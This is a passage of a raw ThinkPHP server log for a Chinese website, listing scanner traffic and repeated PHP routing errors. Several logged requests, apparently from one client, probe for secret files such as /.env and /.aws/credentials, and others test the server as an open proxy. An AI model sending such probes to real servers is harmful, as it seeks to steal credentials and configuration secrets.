video.dispatch.tc.qq.com/B_JxNyiJmktHRgresXhfyMenSZ7YTh9NhHOWxKtUIo-6jC8mh6Gx0-1m2CPKlNNMfg/k0024bxktbo.mp4?vkey=AFB2BD24B56D10FCFA907B330AEEBF4E1E6F9AFE7303BBEAA664B806DEB4C6028D78B00D5C4190633A3997296C2AB8960F65F5FA82D7CB2C51BAE7EA171B32CBFB262DE64E5C5A1F08BC7423F8456A3EDED8D983D1506742F288E2107487EA4C6D9471B25667886B4DF70283EAB505419E154CF73E3B506CC78FBBDDD767292E4B99055F33700D35 [运行时间:0.002950s] [吞吐率:338.96req/s] [内存消耗:134.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMenSZ7YTh9NhHOWxKtUIo-6jC8mh6Gx0-1m2CPKlNNMfg', 2 => 'k0024bxktbo.mp4', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'video.dispatch.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://video.dispatch.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'AFB2BD24B56D10FCFA907B330AEEBF4E1E6F9AFE7303BBEAA664B806DEB4C6028D78B00D5C4190633A3997296C2AB8960F65F5FA82D7CB2C51BAE7EA171B32CBFB262DE64E5C5A1F08BC7423F8456A3EDED8D983D1506742F288E2107487EA4C6D9471B25667886B4DF70283EAB505419E154CF73E3B506CC78FBBDDD767292E4B99055F33700D35', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T10:45:54+08:00 ] 205.210.31.17 GET 51tianwei.com/admin/auth/login [运行时间:0.001675s] [吞吐率:596.97req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:46:02+08:00 ] 205.210.31.144 GET 59.110.137.245:80/ [运行时间:0.009345s] [吞吐率:107.01req/s] [内存消耗:160.37kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:49:16+08:00 ] 147.185.132.162 GET 51tianwei.com/admin/auth/login [运行时间:0.003785s] [吞吐率:264.19req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:50:17+08:00 ] 94.247.172.129 GET www.51tianwei.com/ [运行时间:0.001381s] [吞吐率:724.15req/s] [内存消耗:159.77kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:50:30+08:00 ] 192.210.187.78 GET azenv.nethttp://azenv.net/ [运行时间:0.001275s] [吞吐率:784.28req/s] [内存消耗:159.42kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'azenv.net', 'user-agent' => 'Go-http-client/1.1', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:51:10+08:00 ] 205.210.31.163 GET www.51tianwei.com/admin/auth/login [运行时间:0.001923s] [吞吐率:520.00req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:52:06+08:00 ] 198.235.24.42 GET 51tianwei.com/admin/auth/login [运行时间:0.001627s] [吞吐率:614.64req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:52:33+08:00 ] 205.210.31.128 GET 51tianwei.com/admin/auth/login [运行时间:0.001753s] [吞吐率:570.50req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:52:47+08:00 ] 147.185.132.15 GET www.51tianwei.com/admin/auth/login [运行时间:0.001723s] [吞吐率:580.37req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:54:41+08:00 ] 205.210.31.128 GET www.51tianwei.com/admin/auth/login [运行时间:0.001901s] [吞吐率:526.06req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:02:29+08:00 ] 138.2.87.105 GET 51tianwei.com/.env [运行时间:0.016912s] [吞吐率:59.13req/s] [内存消耗:132.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:02:47+08:00 ] 138.2.87.105 POST 51tianwei.com/ [运行时间:0.001348s] [吞吐率:741.83req/s] [内存消耗:160.28kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '15', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( '0x' => array ( 0 => '0x0day', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:02:47+08:00 ] 138.2.87.105 GET 51tianwei.com/.aws/credentials [运行时间:0.002171s] [吞吐率:460.61req/s] [内存消耗:132.95kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.aws', 2 => 'credentials', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:02:47+08:00 ] 138.2.87.105 GET 51tianwei.com/swagger.json [运行时间:0.002160s] [吞吐率:463.00req/s] [内存消耗:132.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'swagger.json', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:02:47+08:00 ] 138.2.87.105 GET 51tianwei.com/config.json [运行时间:0.002191s] [吞吐率:456.45req/s] [内存消耗:132.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config.json', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:06:29+08:00 ] 154.213.184.23 CONNECT web.realsysadm.in:443web.realsysadm.in:443 [运行时间:0.001524s] [吞吐率:656.18req/s] [内存消耗:159.22kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'web.realsysadm.in:443', 'user-agent' => 'Go-http-client/1.1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:29:44+08:00 ] 185.191.126.248 GET 59.110.137.245:80/ [运行时间:0.045655s] [吞吐率:21.90req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T11:50:44+08:00 ] 87.120.114.229 GET 59.110.137.245/keybox.xml [运行时间:0.028709s] [吞吐率:34.83req/s] [内存消耗:140.28kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T11:53:26+08:00 ] 59.126.25.244 GET 127.0.0.1/ [运行时间:0.013826s] [吞吐率:72.33req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:10:21+08:00 ] 95.214.55.79 GET 59.110.137.245/ [运行时间:0.040350s] [吞吐率:24.78req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 